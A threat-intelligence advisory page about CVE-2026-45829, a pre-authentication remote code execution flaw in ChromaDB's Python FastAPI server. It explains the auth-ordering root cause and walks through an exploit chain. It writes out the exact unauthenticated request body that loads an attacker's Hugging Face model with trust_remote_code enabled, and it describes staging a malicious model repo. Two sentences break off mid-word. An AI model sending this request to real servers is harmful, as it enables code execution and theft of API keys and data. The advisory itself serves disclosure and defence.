ChromaDB CVE-2026-45829 "ChromaToast" — Pre-Auth RCE via trust_remote_code Hugging Face Model Load in FastAPI Server (HiddenLayer) — Threadlinqs Intelligence
As of 2026-05-30, ChromaDB CVE-2026-45829 "ChromaToast" — Pre-Auth RCE via trust_remote_code Hugging Face Model Load in FastAPI Server (HiddenLayer) is a critical-severity vulnerability threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 18 indicators of compromise.
Threat ID: TL-2026-0544 · Severity: CRITICAL · CVSS: 10 · Status: ACTIVE · Category: VULNERABILITY
HiddenLayer disclosed CVE-2026-45829 ("ChromaToast Served Pre-Auth"), a CVSS v4.0 10.0 pre-authentication remote code execution flaw in ChromaDB's Python FastAPI server. The POST
Overview
CVE-2026-45829, branded "ChromaToast Served Pre-Auth" by HiddenLayer researcher Esteban Tonglet, is a maximum-severity pre-authentication remote code execution vulnerability in the Python FastAPI server distribution of ChromaDB — a widely deployed open-source vector database used as the memory/retrieval layer for LLM applications. The flaw was scored CVSS v4.0 10.0 (CRITICAL) by the CNA and classified as CWE-94 (Improper Control of Generation of Code — Code Injection). Disclosure to the maintainer began on 2025-11-28; despite a brief triage acknowledgement on 2025-12-16 and repeated follow-ups (direct email, IT-ISAC, and social media outreach through 2026-04-16), the maintainer has not produced a confirmed patch. HiddenLayer published the technical writeup on 2026-05-18.
Root Cause and Vulnerable Code Path
ChromaDB ships two server implementations: a Rust frontend (default for `chroma run` and the official Docker images) and a Python FastAPI server. Only the Python FastAPI server is vulnerable; the Rust server does not traverse this code path. The defect is an authentication-ordering bug — two compounding failures: (1) the server processes client-supplied embedding-function configuration, including arbitrary model identifiers and kwargs, without any allowlist; and (2) it performs that processing (which downloads and instantiates the model) before the FastAPI authentication dependency is enforced.
The defect lives in the `create_collection` handler in `chromadb/server/fastapi/__init__.py`. Per HiddenLayer's writeup, the embedding function is instantiated and the model loaded at line 813, while the authentication check executes at line 818 — well after the exploitation window has closed. The model-instantiation logic itself lives in `chromadb/api/collection_configuration.py`, and the unrestricted kwargs passthrough is implemented in `chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py`. Three registered embedding functions (sentence_transformer plus two transformers-backed variants) forward attacker-controlled kwargs straight to the underlying model loader.
Exploit Chain Analysis
1. Reconnaissance — Attacker fingerprints internet-exposed ChromaDB instances via Shodan/Censys queries for the `/api/v2/heartbeat` endpoint or the default ChromaDB banner; HiddenLayer's Shodan analysis put ~73% of discovered Python-server deployments in the vulnerable 1.0.0+ range.
2. Resource Development — Attacker stages a malicious Hugging Face repository (or any path the server can reach) containing two files: a `config.json` declaring an `auto_map` pointing to a custom Python module, and a `modeling_*.py` whose module-level code is the payload (reverse shell, in-memory loader, secret exfiltration, etc.).
3. Initial Access — Attacker sends a single unauthenticated POST to `/api/v2/tenants/default_tenant/databases/default_database/collections` (the default tenant/database are always present) with a body of the form:
`{"name":"poc","configuration":{"embedding_function":{"type":"known","name":"sentence_transformer","config":{"model_name":"attacker/evil-model","device":"cpu","normalize_embeddings":false,"kwargs":{"trust_remote_code":true}}}}}`.
4. Execution — `SentenceTransformerEmbeddingFunction.__init__` calls into `sentence_transformers.SentenceTransformer(model_name, trust_remote_code=True, **kwargs)`. The Hugging Face transformers library resolves `auto_map`, downloads the attacker's Python module into `~/.cache/huggingface/modules/transformers_modules/<repo>/`, imports it, and executes top-level code as the ChromaDB process.
5. Post-Exploitation — Because ChromaDB typically runs with read access to embeddings, vector data, environment variables (API keys, database creds, LLM provider tokens), and often co-located ML model files, common post-exploitation actions include: exfiltrating embedded corpora and the documents indexed into them, stealing OpenAI/Anthropic/Cohere API keys, poisoning existing collec
Weaknesses (CWE)
CWE-94, CWE-862, CWE-915, CWE-20
Target sectors: technology, ai-ml, financial-services, healthcare, saas, startups, research, enterprise-software
Target regions: North America, Europe, Asia-Pacific, Global
Detections & IOCs
As of 2026-07-26, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 18 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
VULNERABILITY, CRITICAL, threat intelligence, cybersecurity, CVE-2026-45829, T1595, T1590, T1583, T1608, T1587, T1190, T1195, T1059, T1204, T1106